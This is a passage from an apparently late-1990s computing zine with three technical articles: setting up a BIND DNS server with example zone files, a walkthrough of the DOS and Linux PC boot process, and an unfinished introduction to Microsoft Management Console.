delay expires. The TTL for DNS-cached records is usually set to one day. You
should also be aware that the top-level and sometimes second-level domain
name servers never cache information. Otherwise, top-level information could
be vulnerable to tainted information. Also, because of the amount of
information they handle, their caches would quickly grow and bloat, which
increases the computational load required to find an answer.
Running Your Own Domain Name Server
Before you proceed, you will need to register your domain name with the
InterNIC if your domain falls into any of the ORG, NET, EDU, GOV, and COM
domains. If you want to register a U.S. domain, go to
http://www.isi.edu/in-notes/usdnr.
Registering your domain involves a few steps:
1. Figure out where in the domain hierarchy your organization falls.
2. Find a domain name that is not in use by another site in that domain
hierarchy.
3. If you are not on the Internet yet, find someone that will host a
temporary name server for you.
4. Fill out an application.
5. Wait for the application to be approved.
Registering your own domain can be a great thing. It establishes your
identity in the Internet, and it makes you available to the world. To search
for names that have not been taken, you can visit http://rs.internic.net for
searches involving ORG, NET, EDU, GOV, and COM domains. To search in the U.S.
subdomain, visit http://www.isi.edu/in-notes/usdnr.
Choose the registration services link. Once on that page, choose the Whois
registration tool. This page gives you a Web interface to the whois program.
The whois program allows you to research domain name information among other
things. If you find a match, your name is in use. Some things to keep in
mind: domain names cannot be longer than 26 characters and can only contain
letters, digits, and dashes.
Once you find a name that is not in use, you can go ahead and complete the
World Wide Web application form. You will need to have the address for two
name servers that supply information about your domain. The machines you list
in the application will be queried for information about your domain, so you
need to make sure that they are reachable or if your network is not up, that
someone runs DNS for you temporarily. Usually your service provider can help
with this. If the name servers are not found during the verification process,
your application will be delayed.
Once you complete the online form, a copy of the application will be mailed
to you. Please note that the application you filled online is not processed.
To process the request you need to e-mail the form back to
domreg@internic.net.
A small charge is associated with registering a domain name. New
registrations cost $100, and the registration is good for two years.
Subsequent renewals are $50/year. If you don't pay your registration fee, the
top-level domain servers will forget about your domain, and no one will be
able to reach you. That's power!
Once your domain is approved, you are ready to set up your own domain name
server. Approvals can take anywhere from one day to three weeks depending on
load and other things.
To run a domain name server, you will need to install BIND. The source for
BIND can be found at http://www.isc.org/isc or from
ftp.vix.com/pub/bind/release/bind.tar.gz.
Once you obtain the source, you should follow the compilation instructions in
the package. The official release at the time I grabbed my copy was 4.9.3. As
usual, running outdated software creates a source of security problems. If
your system comes with an older version of the software, you really should
upgrade. The installation steps are as follows:
1. FTP the source.
2. Unpack the source.
3. Change your directory to the BIND distribution directory.
4. Create a build directory by issuing a make DST=build links.
5. Cd to the build directory you just created.
6. Set the appropriate options, if any, in conf/options.h.
7. Configure the makefile for settings appropriate for your machine/os.
This is easily done by removing the # from all the lines under the
section that describes your operating system. If you have special
locations where you want the binaries installed, set the DEST
(for destination) variable to a path more palatable to you.
To avoid confusion, keep the default paths and rename your
distribution copies of named and nslookup that came with your
system to named.dist and nslookup.dist, respectively. This way
you can keep your original binaries in case you run into trouble
and you need to revert to something known to work.
1. Type make to build everything.
If compilation fails, you may want to add ./bin to your path. You can do this
simply enough on a csh by issuing the following:
set path = (./bin $path)
After make builds everything, you will want to verify which files are going
to be installed. Issue a make -n install to see where make wants to install
everything. This will list all the commands that are going to be executed by
the install target without actually running them. You should then backup or
rename any remaining files that are going to be replaced with an .orig
extension.
If you are running SunOS 4.1.x, NetBSD-1 or Solaris 2.x, you can integrate
the new client-side resolver library into your system shared libraries. This
will upgrade all dynamically linked programs to use the new libraries instead
of the old ones. For more information, read the information included in the
shres directory of the BIND release.
If the installation proceeded properly, BIND should now be installed in your
system. Congratulations!
DNS Configuration Files
The first step in setting up your DNS database is to convert your existing
/etc/hosts file into its equivalent DNS format. To configure DNS you'll need
to create a few databases and startup files. I placed everything in
/usr/local/named with the exception of /etc/named.boot. named looks by
default for its boot file in /etc/named.boot. To get things running, you'll
need to create a few files (replace DOMAIN with your domain name, and IP with
your network IP address):
/etc/named.boot
/usr/local/named/db.DOMAIN
/usr/local/named/db.IP
/usr/local/named/db.127.0.0
The db files: db.DOMAIN and db.IP, contain hostname-to-IP and IP-to-hostname
translation tables, respectively. The basic components for these files are
SOA Record
NS Records
Address and Alias Records
PTR Records
While the structure of the db files is similar, there's one significant
difference. I mentioned that the db.DOMAIN maps hosts to IP addresses. Data
in DNS is indexed by name, including addresses. Mapping from an IP address to
a hostname (the reverse) actually turns out to be a little more difficult.
Given the current design, searching for a name would require searching the
entire database until a match was found. Obviously, this would not be very
efficient. To solve the problem, the designers of DNS created a special
domain that uses IP addresses as names. This domain is called the
IN-ADDR.ARPA domain.
Reverse Lookups: IP to Hostname, the IN-ADDR.ARPA Domain
The IN-ADDR.ARPA domain has four levels of subdomains. Each level represents
one of the octets in a 32-bit IP address. Each level has 256 (from 0 to 255)
subdomains, each named after each possible octet value.
The IN-ADDR.ARPA domain has enough room for every host on the Internet given
the current 32-bit (four-octet) IP representation.
Remember the domain names are read from the bottom up, like host.domain.dom.
Because of this, IN-ADDR.ARPA domains are represented with their IP addresses
in reverse.
If your host IP address is 1.2.3.4, your host number is 4, and the
IN-ADDR.ARPA name would be written as 4.3.2.1.IN-ADDR.ARPA.
This way the name server can group, organize, and retrieve IP-to-hostname
queries as efficiently as the regular name-based queries.
Before you proceed, you may want to create your db.DOMAIN and db.IP files. I
created mine in /usr/local/named and renamed DOMAIN and IP to the name of my
domain and network IP, respectively (db.ACCESSLINK.COM and db.204.95.222).
SOA Record
A start of authority (SOA) resource record is the first entry in a db file.
This record indicates that the name server is authoritative. An authoritative
name server provides the most accurate and reliable information about a
domain. A single SOA record is required at the beginning of each db.DOMAIN
and db.IP file.
A SOA record looks like this:
domain.dom IN SOA hostname.domain.dom. root.domain.dom. {
1 ; Serial ID
10800 ; Record Refresh in seconds (3 hours)
3600 ; Retry after one hour (in seconds)
604800 ; Expire after one week (in seconds)
86400 ) ; Minimum TTL (Time to live) of one day
On your db.DOMAIN file, replace domain.dom with the name of your domain (for
example, acme.com).
IN stands for Internet. There are other possible values, but for this example,
and more likely for your needs, this will fit the bill.
Replace hostname.domain.dom. with the fully qualified domain name of the host
where you are creating this data. Note that the trailing period needs to be
there.
Replace root.domain.dom. with a valid e-mail address for the person managing
your DNS. Replace the @ sign on the e-mail address with a period. Again, note
that there's a trailing period after the address.
The serial id of the record is very important. Any time you update any of the
database files, you must increment this number. If for some reason you forget
to increment the serial id, the secondary name servers won't realize that you
have modified the database and won't update their information. Secondary name
servers use this number to determine if their copy of the db file is
up-to-date. A good strategy is to put the current date in a format such as
YYYYMMDDR where
YYYY is the year: 1997.
MM is the month: 11.
DD is the day: 30.
R is the number of the revision (in case you modify the file more
than once on the same day): 1.
The refresh interval tells the secondary server how often to check
for updates on this file.
The retry interval tells the secondary server how long to wait
before trying to reach the primary server, if the initial attempt
failed.
If the secondary server repeatedly fails to contact the primary after the
expire interval, data on the database is going to be considered stale, and
the secondary server will stop responding to requests for the domain.
The TTL value specifies how long resource records served from this file will
remain in a caching server's cache. After the TTL expires, the server will
have to requery your server for information about your domain.
NS Records
Next, you need to specify the names of domain name servers in your domain.
You do this by using name server (NS) resource records. They look like this:
"domain.dom IN NS hostname.domain.dom."
All domain name servers that you list here will be designated authoritative
for the domain. Replace domain.dom and hostname.domain.dom. with the name of
your domain (don't forget the period) and the fully qualified domain name of
the domain name server. An example of this is as follows:
ACCESSLINK.COM IN NS ns1.ACCESSLINK.COM.
ACCESSLINK.COM IN NS ns2.ACCESSLINK.COM.
Address and Alias Records
Now you'll create name-to-address mappings. Resource records for address and
Alias records look like this:
; Host Addresses
localhost IN A 127.0.0.1
router IN A 204.95.222.100
www IN A 204.95.222.200
hydrogen IN A 204.95.222.1
lithium IN A 204.95.222.3
; Aliases
mailhost IN CNAME hydrogen.ACCESSLINK.COM.
ns1 IN CNAME hydrogen.ACCESSLINK.COM.
ns2 IN CNAME lithium.ACCESSLINK.COM.
ftp IN CNAME hydrogen.ACCESSLINK.COM.
The db.IP File
The db.IP file stores an IP-to-name lookup table. The main difference between
the two is that instead of listing regular IP addresses, it uses the funny
IN-ADDR.ARPA notation.
Like the db.DOMAIN file, the db.IP file has a SOA Record. The only difference
is that the name of the domain is specified as IN-ADDR.ARPA domain notation:
222.95.204.IN-ADDR.ARPA IN SOA hostname.domain.dom. root.domain.dom. {
1 ; Serial ID
10800 ; Record Refresh in seconds (3 hours)
3600 ; Retry after one hour (in seconds)
604800 ; Expire after one week (in seconds)
86400 ) ; Minimum TTL (Time to live) of one day
The db.IP file also lists NS resource records. These are also specified in
IN-ADDR.ARPA domain notation:
1.222.95.204.IN-ADDR.ARPA. IN NS ns1.ACCESSLINK.COM.
3.222.95.204.IN-ADDR.ARPA. IN NS ns2.ACCESSLINK.COM.
In addition, the db.IP file also lists its reverse version of the Address
Records (IN A entries, in your db.DOMAIN file). These are called PTR Records.
PTR Records
The DNS resource records used for IP-to-name mappings are called Pointer
(PTR) Records. There's one record for each IP address on your network. All
IP addresses are specified using the IN-ADDR.ARPA domain notation:
1.222.95.204 IN PTR hydrogen.ACCESSLINK.COM.
3.222.95.204 IN PTR lithium.ACCESSLINK.COM.
100.222.95.204 IN PTR router.ACCESSLINK.COM.
200.222.95.204 IN PTR www.ACCESSLINK.COM.
The Loopback Interface
In addition to the db.DOMAIN and db.IP files, the server will need a db.IP
file for the loopback interface. This is a special IP address that hosts use
to route traffic to themselves. The address of the loopback network is
(almost always) 127.0.0.0, and the host number for the localhost is 127.0.0.1.
The file is pretty standard. If you copy your other db.IP file, you'll only
need to delete all PTR records and insert a new PTR record pointing to the
localhost, the last line in the following listing:
222.95.204.IN-ADDR.ARPA IN SOA hostname.domain.dom. root.ACCESSLINK.COM. {
1 ; Serial ID
10800 ; Record Refresh in seconds (3 hours)
3600 ; Retry after one hour (in seconds)
604800 ; Expire after one week (in seconds)
86400 ) ; Minimum TTL (Time to live) of one day
; Name Servers
;
1.222.95.204.IN-ADDR.ARPA. IN NS ns1.ACCESSLINK.COM.
3.222.95.204.IN-ADDR.ARPA. IN NS ns2.ACCESSLINK.COM.
;
; localhost
1.0.0.127.IN-ADDR.ARPA. IN PTR localhost.
The named.root File
In addition to knowing all the gory details about your network, DNS needs to
know how to contact the name servers for the root domain. Your BIND release
should have included a copy of this file. If not, you can find a copy at
ftp.rs.internic.net/domain/named.root
This file is only used at startup. After named is able to contact the
top-level name servers, it updates its internal information.
The /etc/named.boot File
If you are following at the terminal, you have now developed and downloaded
all the files you need to get named going. However, you need to create a
configuration file that can tell named where to find all its files. If you
have followed my example and created your files in /usr/local/named, your
boot file will look like this:
directory /usr/local/named
primary domain.dom db.DOMAIN
primary xxx.xxx.xxx.IN-ADDR.ARPA db.IP
primary 0.0.127.IN-ADDR.ARPA db.127.0.0
cache . named.root
Here's how my boot file looks after I replace the placeholders with the
naming convention described earlier:
directory /usr/local/named
primary ACCESSLINK.COM db.ACCESSLINK
primary 222.95.204.IN-ADDR.ARPA db.204.95.222
primary 0.0.127.IN-ADDR.ARPA db.127.0.0
cache . named.root
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The PC Boot Process
By Scud-O <scud@thtj.com>
Your PC has 3 basic steps when it starts up. After these three
steps, your OS will be loading, and things are different from OS to
OS. Covered will be Both DOS Systems and Linux/UNIX systems.
Step 1: PC Power
As soon as you press the power button of your computer, electricity
flows to every circuit in the computer.
Step 2: Hardware Check
Once your system is getting power, there needs to be functioning
components in your computer, so your computer's BIOS tells the CPU to
go check on the status of the hardware. The hardware check usually
involves a memory check and count, a check for disk drives, ROM checks
Keyboard checks, speaker beepings, etc.
When your computer starts up, the CPU sits there not knowing what to
do next. The CPU is a dumb thing, it always needs to be told what to
do next. Luckily for us, the BIOS ( Basic Input / Output System ) is
on the motherboard to tell the CPU how it can communicate with the
Keyboard, Monitor, Hard Drives, etc. The BIOS is a very basic program
that is stored in ROM ( Read Only Memory ) which is always started up
when the computer is starting up. BIOS must be stored in ROM, because
most other memory, namely RAM and cache lose their information that
they store when the power is off. ROM never forgets.
All Intel chips have 1 main thing in common: when they power up, they
start right off by executing instructions located 16 bytes below the
1024k level, also known as FFFF:0000. That is why BIOS chips get
locations in the ranges of 960k to 1024k, so they can fill the needs
of the PC.
The BIOS's main job initially is to inventory and initialize
everything that is in your PC. This process can be broken down into 5
main steps:
1. Test low memory
For your computer to operate normally, it needs RAM to
work with. Most BIOSs will start by testing the bottom
part of your system's RAM. If this process fails, then
most BIOS will lock up and crash, unable to recover.
2. Scan for other BIOSs
The BIOS on your computer is not made to support
everything out there. Unusual video cards, SCSI cards,
Network cards, etc. all usually have their own BIOS
built into their circuit boards. The main BIOS on your
computer decides to play nice and let these mini-BIOSs
go first. These add on ROM normally have 3 signature
bytes on them for easy identification. The first bytes
are at hex 55, then AA, and finally a number that
indicates how long the BIOS will be. Divide this
number by 512, and you have the BIOS length. The main
BIOS also normally finds these other BIOS ROMs in the
memory addresses between 768k and 960k.
3. Yield to other BIOSs
If your main BIOS finds any other BIOSs, it kindly
lets them go first. For example if you had a video
card with its own BIOS, you would see its copyrights
and notices before the main ROM said that it was done.
Another example could be a SCSI card. When my computer
boots up, the SCSI card's BIOS prints a few copyrights
and notices to the screen, and lets me hit <Alt><Esc>
or something if I want to modify my SCSI IDs, low
level format a drive, add or subtract a drive, etc.
Once these BIOSs have
finished all they need to do,
the main BIOS will go back to work.
4. Inventory system
Now that all of the BIOSs have done everything that
they need to do, the main BIOS goes and inventories
everything that it will have control over. At a
minimum the BIOS will at least check the RAM. The BIOS
will also quickly check the hard drives and floppy
drives. You can see this by the quick flashing of LEDs
on the hard drive LED and the floppy drive. The BIOS
will wait for these drives to respond, and they can
wait a long time. Some systems could wait up until 4
or 5 minutes until it would report a hard drive
failure. Also during this BIOS startup process, the
CMOS Setup information is read as well. The CMOS gives
your computer a detailed report of hard drive and
floppy drive information as well as disk layout, etc.
5. Test the system
Most of this step is included in the inventory, the
BIOS checks the RAM, floppy disks, hard drives, etc.
The process I have just described is often refered to as Power On
Self Test (POST). This is a test performed by the CPU where it checks
the various parts of the computer to determine if it it working
properly. Some things that you will see on your monitor while the CPU
is doing the POST:
1. Memory is counted
2. Messages from the CPU as peripherals are checked
3. Lights on the keyboard blinking
4. Possibly a beep from the speaker.
After all of this, the CPU then goes hunting for the rest of the OS.
It first checks for, and reads (if present), a floppy disk with the
OS, and if that fails, then it goes to the hard drive.
Step 3: Load the OS
Once the first 2 steps have been completed, the OS is ready to be
loaded. This is where things become OS dependant and they split off
from OS to OS. First I will discuss DOS and how it is loaded, and then
I will show how a Linux/UNIS OS would be loaded for comparision.
DOS:
By far the most common platform for computers is the Microsoft DOS OS.
(Windows 95 is still included in this discussion since it still
follows may of the same instructions that DOS follows for the boot up
process.) When a DOS system has gotten up to this step for the boot up
it performs the following steps:
1. Scan drives A:, and then C: to find the drive that is
ready with the OS.
2. If the drive the CPU is reading from is C:, load up the
Master Boot Record (MBR). If loading from the A drive,
skip to the DOS Boot Record (step 4).
3. Execute the program in the MBR and find the bootable
partition in the MBR.
4. Load the DOS Boot Record (DBR), the first sector of the
primary DOS partition or the first sector of a bootable
DOS floppy.
5. Pass control to the DBR.
6. The DBR directs the loading of the 'hidden files' IO.SYS
and MSDOS.SYS (for an MS-DOS system, IBMBIO.COM and
IBMDOS.COM for PC-DOS), which comprise most of DOS.
7. The first hidden file (IO.SYS or IBMBIO.COM) reloads the
other hidden files.
8. The first hidden file also load and intperprets the
CONFIG.SYS file and all of its device drivers.
9. Unless the SHELL statement says otherwise, DOS loads the
command shell COMMAND.COM from the root directory (C:\)
10. COMMAND.COM loads and executes AUTOEXEC.BAT
It is time to look at a few of these steps in more detail.
Load the MBR: Once the BIOS has founda drive that is ready for booting
(A: or C:), it loads the first sector of the data from
that drive. The coordinates are: cylinder 0, head 0,
sector 1.
Things are a bit different for floppy disks, but over
all they are pretty much the same, and as hard drives
are more common to boot from, we will focus on booting
from a hard drive. The CPU looks into the hard drive for
The MBR when it loads. The MBR is only 512 bytes, so
under normal conditions it should go into the memory
quite easily. Otherwise the system will not boot up.
Also, if the MBR is empty, then it will have nothing to
load and it will not boot up, since the MBR has a
program that has to run, it has to tell the CPU what to
look at to continue to load. Viruses commonly erase or
modify the MBR for this purpose, a messed up MBR will
cause a computer that does not run.
Load the DBR: After the MBR has been loaded, BIOS gives control over
to it. Since hard drives can be broken into many pieces
to run many OSes or for other reasons, the MBR has to
tell the CPU where to go next. The MBR does this, and
the CPU goes and finds the bootable partition. Once the
bootable partition have been found, the MBR passes over
control to the first sector of that hard drive. If you
have ever heard of boot sector viruses, this is where
they become active. They take over the first sector, run
the code they have to spread, and then tell the CPU
where it has stored the DBR and tells it to go there to
finish loading. Once the DBR is in control it finds the
2 'hidden' programs that work behind the scenes to
control the very basic interactions of the OS. These 2
files are IO.SYS and MSDOS.SYS for an MS-DOS system, and
IBMBIO.COM and IBMDOS.COM for those of you using PC-DOS.
If these 2 files are not found, you will see the ever
familiar 'Non-system disk or disk error' message.
Execute the hidden files: After the DBR has loaded the hidden files,
It passes control over to the first hidden file, IO.SYS
and disappears. The first file then double checks that
it has loaded properly and also checks the other hidden
file, MSDOS.SYS. Once up and running, IO.SYS loads the
CONFIG.SYS file.
Assuming that you do have a CONFIG.SYS file, the CPU
executes the commands in CONFIG.SYS and loads the
BUFFERS, FILES, STACKS, DOS, LAST DRIVE, and FCBS
commands and any device drivers.
Once CONFIG.SYS has loaded, and there is no SHELL
command in the CONFIG.SYS file, the hidden files will
load in COMMAND.COM (if a SHELL command is found, it
replaces COMMAND.COM with the file specified).
COMMAND.COM is the shell of DOS (just like sh or bash
are shells for UNIX) that is the program that takes user
input and loads programs at the user's request.
After all of this, AUTOEXEC.BAT is run, and any commands
that are in AUTOEXEC.BAT are run.
Linux/UNIX:
Linux is a complex Operating System. Linux has many, many parts to it
and thusly, it must move itself around many times when it it loading.
When an x86 processor is turned on it is a 16-bit processor that can
only see and access 1 MB of RAM. (Yes, even you kids with your little
Pentium II 300MHz computers and 128 MBs of RAM, you only have a dinky
16-bit processor and 1 meg of RAM on start up!) This mode of the
processor is known as 'real mode' and it necessary for compatiblity
with older processors. Everything must be in that 1 meg of RAM, the
firmware BIOS, video buffers, memory for expansion boards and the
infamous little 640k of RAM all must reside there. Adding to this
problem is that fact that BIOSs on PCs only load half a kilobyte of
code and establishes its own memory layout before it even loads the
first sector. Whatever the boot media might be (floppy, disk, etc.)
the first sector of the bootable partition is loaded into memory at
0x7c00, which is where all of the execution begins. What happens at
0x7c00 all depends on the method used to load Linux. There are 3 main
methods to boot up a Linux kernel, so we will discuss those 3 methods.
They are: booting the kernel from a floppy disk, LILO, and Loadlin.
Booting zImage and bzImage
Although most people have moved to using LILO these days, you can
still boot Linux up from a copy of the raw kernel on a floppy disk.
However, with the ever expanding size of the Linux kernel, this soon
may not be an easy possiblity. To try out this booting with out LILO,
place a disk in your floppy drive, and type ' cat zImage > /dev/fd0 '.
This should work perfectly on a Linux system. To configure your new
boot kernel, use rdev.
The file zImage that you just copied onto a floppy disk is the
compressed kernel image that resides in 'arch/i386/boot' after
'make zImage' or 'make boot' has been executed. The latter command
seems to be more universal for UNIX, so you can probably get the same
thing on a BSD or Sun box. If, instead you made a "big zImage", the
kernel file is called bzImage and is placed in the same directory.
As stated above, it is hard to boot a Linux kernel on a x86
machine because of the limited amount of memory available on boot up.
Linux has to move itself around several times to maximize the 640k of
memory that it has. When booting a zImage kernel, Linux performs the
following steps to boot up. All of the following path names are
relative to arch/i386/boot.
1. The first sector (0x7c00) moves itself up to 0x90000 and
loads subsequent sectors after itself, getting them from
the boot device using the BIOS's functions to access the
disk. The rest of the kernel is then loaded to 0x10000 to
allow for a maximum size of half a megabyte of data (this
is the compressed image). The boot sector code is at
bootsect.S, a real mode assembly file.
2. The code at 0x90200 (defined in setup.S) takes care of
a few of the hardware initializations and allows the
default text mode (video.S) to be changed. (Text mode
selection have been a compile time option since kernel
2.1.9)
3. Afterward the kernel is moved from 0x10000 (64k) to
0x1000 (4k). This move overwrites the BIOS data stored in
RAM, so BIOS calls can no longer be done. The first
physical page is not touched because it is the so-called
'zero-page' used for dealing with virtual memory.
4. At this point setup.S enters protected mode and jumps to
0x1000 where the kernel lives. All of the available
memory is available to be accessed now, and the system is
allowed to begin to run.
The above steps held true when the kernel was under half a megabyte
and able to fit into the half of a megabyte that was assigned to it,
the range between 0x10000 and 0x90000. As Linux has developed, it has
has many features added to it, and it has grown to well over half of
a megabyte of code. Needless to say, the kernel can no longer be
moved to 0x1000. These days the code at 0x1000 is the gunzip part of
gzip. The following steps have now been added to uncompress the
kernel and run it:
5. head.S in the compressed directory is at 0x1000 and it is
in charge of gunzipping the kernel. It does this by
simply calling the decompress_kernel function that is
defined in compressed/misc.c, which calls inflate, which
then goes and writes its output starting at 0x100000 (1MB)
High memory can now be accessed, because the processor is
definitely out of its limited boot environment - also
known as the 'real' mode.
6. After decompression, head.S jumps to tha actual beginning
of the kernel. The relevant code is in ../kernel/head.S,
outside of the boot directory.
The boot process is now over, and head.S (the code found at 0x100000
that used to be at 0x1000 before compressed boots were introduced) can
complete the processor initialization and call start_kernel(). After
this step, all of the code is written in C.
The process described above is great, but it only works if the
compressed kernel can fit into a half a megabyte of space, something
that some kernels are unable to do. If you have alot of device drivers
in your kernel, or if you are just installing Linux, and it has all of
its device drivers inside the kernel, a half of a megabyte is just
simply not enough. bzImage is the solution, and it was introduced in
kernel version 1.3.73.
You can generate bzImage by typing 'make bzImage' from the top
of the Linux source directory. This kind of kernel boots very
similarly to zImage, with a few modifications:
1. When the system is loaded to 0x10000, a little
helper code routine is called after loading each
64k data block. This helper code moves the data
block into high memory by implementing a special
BIOS call. Only in the newer BIOS versions is this
call implemented, so 'make boot' will still build
only the conventional zImage, but this may change
with in a short time period.
2. setup.S does not move the system back into 0x1000
(4k). Instead, after entering protected mode, it
jumps ahead to 0x100000 (1MB) where data has been
moved by BIOS in the previous step.
3. The decompressor found at 1MB writes the
uncompressed kernel image into low memory until it
is exhausted, and then into high memory after the
compressed image. The two pieces are then
reassembled to the address 0x100000. Several
memory moves are needed to perform this correctly.
The rule for building the big compressed image can be read
from the Makefile; it affects several files in arch/i386/boot. A good
thing about bzImage is that when kernel/head.S is called, it doesn't
notice the extra work, and everything goes forward as usual.
LILO : The LInux LOader
Most Linux systems on a x86 box don't boot the raw kernel, they use
LILO, and boot from the hard drive. LILO replaces part of the process
decribed above so that it can load Linux from a kernel that may be
scattered all throughout a disk. This allows you to boot linux from a
partition with out using a boot floppy. (Although you can run LILO off
of a floppy disk, if you do not wish to modify your hard drives MBR.)
LILO uses the BIOS services to load single sectors from disk
and then it jumps to setup.S. It arranges the memory layout in the
same fashion as bootsect.S; thus the usual booting procedure can be
done painlessly. LILO is also able to handle kernel command lines,
which is why LILO is more popular to use that loading the raw kernel
from a floppy.
If for some strange reason, you want to boot a bzImage with
LILO, you have to use version 18 or later of LILO. Earlier versions
were not designed to handle loading segments into high memory, an
ability that is needed for loading big images, so that setup.S to
find the memory layout that it needs and expects.
The biggest problem and disadvantage that LILO has is that it
uses the BIOS to load the whole system. This forces the kernel and
other important files to use the first 1024 cylinders of disks to be
accessible to the BIOS. When using a PC's hardware, you can see how
old-fashioned the architecture of the PC really is. (Yes, even you
there with your Pentium II 300, it is as slow and old as my 486/66!)
Loadlin
Say you are running MS-DOS or Win95, and you realize that you need to
load Linux for something real quick. Oh no! now I have to shutdown
the current OS and spent 10 minutes waiting for Linux to load up! Well
if you have loadlin installed, you can cut alot of this time out and
boot up Linux while your other OS is running. This program is similar
to LILO in that it loads the kernel from a disk partition and then
jumps to setup.S. However, it is different from LILO in that it not
only faces BIOS restrictions, but it must also dispose of established
memory layouts without compromising the system's stability. However,
loadlin does not face the half a kilobyte length that LILO does
because loadlin is a complete program, not just a boot sector. If you
are running anything after version 1.6 of loadlin, you can load the
big images.
Loadlin is able to pass a command line to the kernel and is
therefore, as flexible as LILO. For most purposes you will write a
batch file script for automated loadlin loading so that you dont have
to type a huge command line each time you load linux. Most people call
this batch file linux.bat. Loadlin is also capable of turning any
networked PC into a Linux box. All you need is the kernel equipped for
mounting the root partition via NFS, and loadlin and linux.bat
containing the correct IP addresses. You will of course also need a
propperly configured NFS server, but any linux box can do that job.
As an example, the following command line out turn a PC into a Linux
workstation:
loadlin c:\zimage rw nfsroot=/usr/root/minos \
nfsaddrs=168.143.27.120:168.143.27.1:168.143.143.2\
54:255.255.255.0:minos.mulder.clark.net
(The above is just an example, this command line would fail
on my Linux box since the IPs are incorrect, and I do not
run an NFS server, nor do I have more that one PC.)
start_kernel()
Once the architecture-specific initializations have been
completed (Linux is available on Alpha chips and SPARC systems
as well as PCs), the init/main.c takes control of whatever
processor you may be running, in this case an x86.
start_kernel() first calls on setup_arch(), which is
the very last architecture-specific function. Unlike the other
architecture-specific functions, this call can exploit all of
the processor's features and is much easier source to deal
with than the ones described before. This function is defined
in the kernel/setup.c under the architecture-specific source
tree. start_kernel() then initializes all of the kernel's
subsystems - IPC, networking, buffer cache, etc. After all of
this has taken place, the following 2 lines complete the code:
kernel_thread(init, NULL, 0);
cpu_idle(NULL);
The init thread is process number 1, it mounts the
root partition, executes /linuxrc if CONFIG_INITRD has been
selected during compile time, and then executes the init. If
init can not be found, /etc/rc is then executed. In general,
using rc is discouraged, since init is much more flexible than
a shell script in handling system configurations. for kernels
after 2.1.21, the /etc/rc(/) option is removed, thus making
it obsolete.
If neither init or /etc/rc can run of if they exit,
/bin/sh is executed repeatedly (2.1.21 and later will only
execute it once). this feature is only there as a safegaurd in
case init is removed or corrupted by mistake. If you remove
a.out support from the kernel without recompiling your old
init, you will at least have a shell that you can use to fix
your errors with after rebooting.
the kernel has not more jobs that it must do after is
spawns process 1, since all other functions are then handled
by init, /etc/rc, or /bin/sh in user space. What about process
0? This so called 'idle' task executes cpu_idle(), a function
that calls idle() in an endless loop. idle() in turn is an
architecture-dependant function that is usually in charge of
turning off the processor to save power and increase the
processor's lifetime.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
MMC, Micrsoft Management Console
By FuManchu
Introduction
------------
This article is ment to give you an introduction to Microsoft's new Microsoft
Management Console (MMC) which will be built into IIS 4.0 and NT 5.0, that
will allow an NT admin to run all of their management tools and give them a
consistent interface. As the popularity of NT as a platform for networking
continues, an NT admin can not longer just check the status of the network.
A more comprehensive and complex tool must be used to maintain a reliable
network with NT. Several companies have released tool to do this,
Hewlett-Packard's OpenView, NuView's ManageX, WinVista's WinVista, Computer
Associates' CA-Unicanter, and Tivoli's TME 10. However, these tools are all
based on proptietary interfaces and high learning curves. Microsoft is now
trying to standardize everything with MMC. MMC tools are designed to work on
an NT box if it is across a network, or a local machine.
Words to Know
-------------
MMC - The Microsoft Management Console is a framework that
lets developers write management applications that will
share a common interface.
namespace - When you launch and MMC tool, the namespace appears as
the left pane in the console window. It includes system
configurations, all the Snap-Ins available for the tool,
etc.
package - Vendors will be shipping MMC Snap-Ins in a package with
their applications. The package will install and
configure the Snap-Ins as an MMC tool.
Snap-Ins - Management applications written to the MMC Snap-In
guidelines for appearance and behavior. They are
written specifically to use the MMC framework.
tool - The saved state of a collection of Snap-Ins (one or
more) is an .MSC file (Management Saved Console).
Launching a tool loads and configures the Snap-Ins to
the state they were in when you last saved the .MSC file.
Welcome to MMC
--------------
As I have stated before MMC is has been deployed by Microsoft for
Windows NT 5.0 (fall 98 release) and IIS 4.0 (end of 97 release). MMC is not
a management tool, it is merely a 'container' or framework for management
applications. It uses an Explorer-like Multiple Document Interface (MDI) that
you can expand with Snap-Ins from companies. By itself, MMC is useless, it
provide no functionality.
Since MMC is a MDI program, it is far more flexible than Explorer,
which only lets you look at one location at a time. MMC lets you open multiple
windows that can focus on unrelated activities. For example, you could be
running 2 windows which could be all from different Snap-Ins and are showing
completely unrelated activities, (ie. www service, ftp service, login service)
With the relase of NT 5.0, Microsoft will be moving its current tools
for management into Snap-Ins. Like stated before, Microsoft is hoping to
create a standard for NT management. Many other companies have already tried
this, but each uses a different standard, so no real standard exists. The only
product that comes close to what MMC will offer is Hewlett-Packard's OpenView,
which has a framework for applications. Microsoft's approach to this is
different however, because their framework will offer the framework for its
server applications and operating systems. Thus integrating it all, and making
Microsoft the standard, since it is already built in. The tools created with
MMC will all follow the same design and will all operate in a similar fashion.
Companies will have to choose if they want to follow the MMC path, and the
fact that most NT administrators will be using MMC, or they can try their own
path. Most however will use MMC, I would bet.
Companies who choose to use MMC will distribute one or more Snap-Ins
in what Microsoft refers to as a package. The package is an installable
collection of Snap-Ins for a product. An example of this will come with IIS
4.0. When 4.0 is released, it will include the MMC framework as well as a
package containing the management tools for IIS, which currently are a part of
the Internet Service Manager. When NT 5.0 is release, not only will it have
IIS and the MMC Snap-In for that, it will have a large number of other
packages for various NT admin needs.
Existing management tools for NT can also take advantage of MMC. Like
I have stated before, MMC is a framework for programmers to use to give their
applications a uniform interface. Programmers can even develop applications
that make calls to MMC, and thus, integrating MMC into their applications.
They also have the option of developing Snap-Ins that could start up their
applications, instead of extending the MMC interface. This would turn MMC into
a 'launching pad' for applications. They can also write Snap-Ins that work
directly with their program, which they can use to use the best of both.
Programmers would also be enabled to provide a Snap-In document, or an .MSC
file for their program. These could then include the information provided by
the standard OS Snap-In in a view that has been configured to how the
programmer feels will help you the most. All of this basically means that MMC
will most likely become the standard for NT management and security.
MMC also can contain and use taskpads, which are a concept introduced
